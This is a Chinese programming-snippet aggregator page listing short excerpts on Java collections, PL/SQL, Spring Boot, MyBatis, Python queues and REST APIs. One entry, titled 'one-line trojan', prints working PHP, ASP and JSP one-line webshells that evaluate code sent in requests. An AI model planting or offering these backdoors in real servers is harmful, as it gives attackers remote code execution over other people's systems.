ICode9

精准搜索请尝试: 精确搜索
  • hashMap 与hashTable的区别 concurrentHashMap2022-08-08 23:30:48

    hashMap 1.7底层:数组+链表 采用头插法 (当多个key发生hash冲突,就会让链表过长,查询效率较低,时间复杂度为O(n)) hashMap 1.8底层 :数组+链表+红黑树 采用尾插法 当数组容量>=64且链表长度>8 就会转换为红黑树 时间复杂度为log(On) hashMap 允许key设置null 无论是1.7版本还是1.8

  • Oracle 相关基础1-变量2022-08-04 22:31:57

    PL/SQL表示SQL的过程式语言扩展(Procedural Language Extension to SQL)。 通过添加任何高级语言所拥有的编程结构和子程序, PL/SQL实现了对SQL的扩展 PL/SQL可用于服务器端(Oracle数据库)和客户端(Oracle Forms等)开发 PL/SQL不是独立的编程语言,它是Oracle RDBMS的一部分 c/s c:客户

  • SpringBoot配置----@PropertySource、@ImportResource、@Bean2022-08-04 00:31:37

    一、@PropertySource 如果想使用项目加载特定的配置文件,可以使用@PropertySource 新建一个项目  DemoApplication.java package com.zk.demo; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; @S

  • Java并发容器和框架2022-08-01 22:01:17

    1、ConcurrentHashMap的实现原理和使用 1.1、使用ConcurrentHashMap的原因: (1)线程不安全的HashMap:HashMap在并发操作的时候执行put操作会引起死循环,是因为多线程会导致HashMap的Entry链表会形成环形的数据结构,一旦形成环形的数据结构,Entry的next节点永不为空,就会产生死循环获取entr

  • Map集合、 API、遍历方式2022-07-30 11:02:59

    map集合概述和使用   map集合是一种双列集合,每个元素包含亮哥数据。   map集合的每个元素的格式:key=value(键值对元素)。   map集合也被称为“键值对集合”。   map集合整体格式   { key1=value1,key2=value2,key3=value3,... }   Map是双列集合的祖宗接口,它的功能是全部双列

  • Java EnumMap put()方法具有什么功能呢?2022-07-29 14:05:18

    转自: http://www.java265.com/JavaCourse/202204/2759.html EnumMap简介: EnumMap是保存枚举类型的Map map的key是枚举类型 这点在类定义的时候就已经声明好了EnumMap<K extends Enum<K>, V> 如何不是枚举类型编译会出错。 例:定义了一个Enum类 JdbcType。 public enum JdbcType {

  • HashMap 键值对为null的情况2022-07-28 18:35:33

    public static void main(String[] args) { Map<String ,Object> map = new HashMap<>(); map.put("","wang"); map.put("f",null); map.put(null,"haha"); // map.put(null,nu

  • swagger+shiro202207272022-07-27 15:03:31

    /** 创建一个配置类,创建一个叫做shiroFilter的bean,这就是shiro的过滤器配置类,设置对应的过滤条件和跳转条件,下面我只写了swagger中不需要shiro过滤的文件 **/@Bean(name = "shiroFilter")public ShiroFilterFactoryBean shiroFilterFactoryBean(@Qualifier("securityManager") Se

  • mt4 mt5协议 跟单2022-07-25 21:03:23

    mt4 协议 # exe特征 const CLIENT_SIZE: u32 = 0x953dbed3; # 版本号 可设任意平台版本号 const BUILD: u16 = 1353; # key hash 0 => modify_key_sha256_mt_complex(&data, &result), 1 => modify_key_sha256_mt_login(&result), 2 => modify_key_sha256_mt_type(&

  • Java之Map中的map.keySet()方法具有什么功能呢?2022-07-25 14:05:10

    转自: http://www.java265.com/JavaCourse/202203/2605.html map简介:     Map 是一种键-值对(key-value)集合,Map 集合中的每一个元素都包含一个键对象和一个值对象。其中,键对象不允许重复,而值对象可以重复,并且值对象还可以是 Map 类型的,就像数组中的元素还可以是数组一样。   M

  • [mybatis]mybatis动态sql的标签使用详解2022-07-23 18:04:22

    动态sql 根据不同的环境生成不同的sql if choose (when, otherwise) trim (where, set) foreach if 使用动态 SQL 最常见情景是根据条件包含 where 子句的一部分。 如果传入name就根据name查询,如果输入age就根据age查询,如果不输入就全部查询。 这里还使用了一对标签主

  • python队列Queue2022-07-22 10:07:58

    Queue Queue是python标准库中的线程安全的队列(FIFO)实现,提供了一个适用于多线程编程的先进先出的数据结构,即队列,用来在生产者和消费者线程之间的信息传递 基本FIFO队列 class Queue.Queue(maxsize=0) FIFO即First in First Out,先进先出。Queue提供了一个基本的FIFO容器,使用方法很

  • 什么是 RESTful API2022-07-21 20:37:40

    简要定义 RESTful 设计风格,简而言之,就是用 HTTP method 表示操作,URL 表示被操作的资源的一种 HTTP API 设计风格。 这其中,GET 表示获取(查询),POST 表示创建,PUT 表示修改,DELETE 表示删除。 为什么将 API 设计成 RESTful 风格 清晰,标准,简明,扩展方便,可维护性好。 拆解 REST,(Resource)Repr

  • 8.3 单元测试,包括security测试2022-07-19 06:00:38

    创建一个Spring Boot 项目时会自动创建一个test文件夹,所有的测试都在其中进行。 依赖 <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-test</artifactId> <scope>test</scope> </dependency>      如果需要测试se

  • MDCFilter2022-07-18 10:42:30

    package com.common.filter; import lombok.extern.slf4j.Slf4j; import org.slf4j.MDC; import org.springframework.context.annotation.Configuration; import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import java.io.IOException; import java

  • 罗马数字变整数2022-07-15 01:32:36

    罗马数字变整数 一、题目描述 罗马数字有“I、V、X、L、C、D、M”组成,将它们转换为整数。 点击查看代码 字符 数值 I 1 V 5 X 10 L 50 C 100 D 500 M 1000 输入 :s = "III"; 输出

  • 面试记录7.142022-07-14 12:31:27

    mysql中一张表两个字段建了联合索引,需要单独查询两个字段,需要对每个字段单独加索引吗? 最左前缀原则规定了联合索引在何种查询中才能生效,规则如下: 如果想使用联合索引,联合索引的最左边的列必须作为过滤条件,否则联合索引不会生效。 这也就是说,联合索引其实拥有单列索引的作用。 联合

  • sql-pl/sql2022-07-13 16:33:31

    PLSQL PL/SQL:对SQL语言的扩展,可以对SQL进行编程 单行注释以-- 多行注释 /* */,可以跨多行 块结构 declare --声明变量、常量、光标、例外 begin --程序 exception --例外 end; DECLARE 声明部分。 这是为游标,数据类型定义,变量,嵌入函数和过程分配内存的位置。 BEGIN 可

  • List<Map<String, Object>> 去出重复2022-07-13 09:02:21

    List<Map<String, Object>> 去出重复 public static void main(String[] args) { String [] array= {"name","age"}; List<Map<String, Object>> oldList = getTestData(); getListMap(oldList,"name",array);

  • 日常开发记录- DELETE 接口和 PUT 接口如何传参2022-07-12 14:34:19

     DELETE 接口传参: 1、拼接到url上(同 get): export const testAPI = (id) => request({url: `/test/del`, method: 'delete', params: {id}}) 2、放到data请求体中(同 post): export const testAPI = (id) => request({url: `/test/del`, method: 'delete', data:

  • mit6.824 笔记 一2022-07-10 09:33:37

    分布式是复杂的系统再考虑分布式系统前应该尽可能尝试其他方法。   人们使用大量的相互协作的计算机驱动力是:   人们需要获得更高的计算性能。可以这么理解这一点,(大量的计算机意味着)大量的并行运算,大量CPU、大量内存、以及大量磁盘在并行的运行。   提供容错(tolerate faults)

  • 一句话木马2022-07-08 20:00:12

    1,php文件中 <?php @eval($_POST[command]);?> 2,asp<%execute(request("1"))%>   3,aspx <%@ Page Language="Jscript"%>   4,java <% new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.get

  • Oracle 控制台输出信息2022-07-08 13:33:07

    定义: DBMS_OUTPUT.PUT_LINE (item IN VARCHAR2); 使用: -- 必须有,不然无法显示会报错 SET SERVEROUTPUT ON DECLARE NUM INT := 0; num_max INT := 8; BEGIN dbms_output.put_line('FOR i IN 0 .. 3'); FOR i IN 0 .. 3 LOOP dbms_output.put_line('f(&#

  • 练习—计算一个字符串每个字符出现的次数、异常2022-07-08 11:00:57

    练习—计算一个字符串每个字符出现的次数 先来写一下思路:   我们画个图来看:             分析:   使用Scnner获取用户输入的字符   创建Map集合,key是字符串的字符,value是字符的个数      遍历字符串,获取每一个字符    使用获取字符串,去Map集合判断key是否存在

  • 279/280Map集合遍历键找值方式和HashMap储存自定义类型键值2022-07-07 15:31:27

    Map集合遍历键值对方式 Map集合遍历的第二种方式:使用Entry对象遍历 Map集合中的方法:     Set<Map.Entry<K,V>> entrySet()返回此映射中包含的映射关系的 Set 视图。 实现步骤: 1.使用Map集合中的方法entrySet( ),把Map集合中多个Entry对象取出来,存储到一个set集合中 2.遍历s

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有